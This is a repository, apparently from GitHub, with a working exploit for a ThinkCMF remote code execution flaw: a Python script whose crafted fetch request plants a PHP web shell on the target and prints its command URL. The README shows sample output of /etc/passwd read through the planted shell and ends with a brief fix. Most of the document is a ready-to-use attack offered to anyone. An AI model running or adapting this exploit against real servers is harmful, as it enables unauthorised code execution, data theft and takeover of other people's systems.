├── README.md ├── ThinkCMF_getshell.jpg ├── ThinkCMF_getshell.py └── fofa.jpg /README.md: -------------------------------------------------------------------------------- 1 | # ThinkCMF_getshell 框架上的任意内容包含漏洞 2 | 3 | 远程攻击者在无需任何权限情况下，通过构造特定的请求包即可在远程服务器上执行任意代码。 4 | 5 | ![](./fofa.jpg) 6 | ![](./ThinkCMF_getshell.jpg) 7 | 8 | ## python usage: 9 | 10 | `[+] python ThinkCMF_getshell.py http://x.x.x.x/` 11 | 12 | ``` 13 | python ThinkCMF_getshell.py https://x.x.x.x/ 14 | nginx 15 | PHP/7.0.19 16 | 17 | >>>>>>>Shell url: 18 | https://x.x.x.x/0a30e0d61182dbb7c1eed5135787fb84.php?cmd=cat /etc/passwd 19 | 20 | 21 | root:x:0:0:root:/root:/bin/bash 22 | bin:x:1:1:bin:/bin:/sbin/nologin 23 | daemon:x:2:2:daemon:/sbin:/sbin/nologin 24 | adm:x:3:4:adm:/var/adm:/sbin/nologin 25 | lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 26 | sync:x:5:0:sync:/sbin:/bin/sync 27 | shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 28 | halt:x:7:0:halt:/sbin:/sbin/halt 29 | mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 30 | operator:x:11:0:operator:/root:/sbin/nologin 31 | games:x:12:100:games:/usr/games:/sbin/nologin 32 | ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 33 | nobody:x:99:99:Nobody:/:/sbin/nologin 34 | systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin 35 | dbus:x:81:81:System message bus:/:/sbin/nologin 36 | polkitd:x:999:997:User for polkitd:/:/sbin/nologin 37 | postfix:x:89:89::/var/spool/postfix:/sbin/nologin 38 | chrony:x:998:996::/var/lib/chrony:/sbin/nologin 39 | sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 40 | ntp:x:38:38::/etc/ntp:/sbin/nologin 41 | tcpdump:x:72:72::/:/sbin/nologin 42 | nscd:x:28:28:NSCD Daemon:/:/sbin/nologin 43 | saslauth:x:997:76:Saslauthd user:/run/saslauthd:/sbin/nologin 44 | mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin 45 | smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin 46 | www:x:1000:1000::/home/www:/sbin/nologin 47 | mysql:x:1001:1001::/home/mysql:/sbin/nologin 48 | 49 | ``` 50 | ## 修复方法 51 | 将 52 | `HomebaseController.class.php` 和 `AdminbaseController.class.php` 类中 `display` 和 `fetch` 函数的修饰符改为 `protected` 53 | -------------------------------------------------------------------------------- /ThinkCMF_getshell.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/ThinkCMF_getshell/9eae911ad35b24dadc892f19c0cd1cff6a02eff5/ThinkCMF_getshell.jpg -------------------------------------------------------------------------------- /ThinkCMF_getshell.py: -------------------------------------------------------------------------------- 1 | 2 | import requests,sys,json 3 | 4 | def ThinkCMF_getshell(url): 5 | if url[-1] == '/': 6 | url = url[0:-1] 7 | else: 8 | url = url 9 | vuln_url = url + R'''/index.php?a=fetch&templateFile=public/inde&prefix=%27%27&content=file_put_contents('0a30e0d61182dbb7c1eed5135787fb84.php','%3c%3f%70%68%70%0d%0a%65%63%68%6f%20%6d%64%35%28%22%54%68%69%6e%6b%43%4d%46%22%29%3b%0d%0a%20%20%20%20%69%66%28%69%73%73%65%74%28%24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%29%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%63%6d%64%20%3d%20%28%24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%73%79%73%74%65%6d%28%24%63%6d%64%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%2f%70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%64%69%65%3b%0d%0a%20%20%20%20%7d%0d%0a%70%68%70%69%6e%66%6f%28%29%3b%0d%0a%3f%3e')''' 10 | r = requests.get(vuln_url) 11 | response_str = json.dumps(r.headers.__dict__['_store']) 12 | if r.status_code == 200 and 'PHP' in response_str: 13 | print r.headers.get('Server') 14 | print r.headers.get('X-Powered-By') 15 | check_shell(url) 16 | else: 17 | print "No Exit ThinkCMF Vuln" 18 | 19 | def check_shell(url): 20 | shell_url = url + '/0a30e0d61182dbb7c1eed5135787fb84.php' 21 | r = requests.get(shell_url) 22 | if r.status_code == 200 and '0a30e0d61182dbb7c1eed5135787fb84' in r.content: 23 | print "\n>>>>>>>Shell url:" 24 | print url + "/0a30e0d61182dbb7c1eed5135787fb84.php?cmd=whoami" 25 | # print url + "/0a30e0d61182dbb7c1eed5135787fb84.php?cmd=rm -rf 0a30e0d61182dbb7c1eed5135787fb84.php" 26 | 27 | if __name__ == '__main__': 28 | if len(sys.argv) != 2: 29 | sys.exit("\n[+] python %s http://x.x.x.x/" % sys.argv[0]) 30 | else: 31 | url = sys.argv[1] 32 | ThinkCMF_getshell(url) 33 | 34 | -------------------------------------------------------------------------------- /fofa.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/ThinkCMF_getshell/9eae911ad35b24dadc892f19c0cd1cff6a02eff5/fofa.jpg --------------------------------------------------------------------------------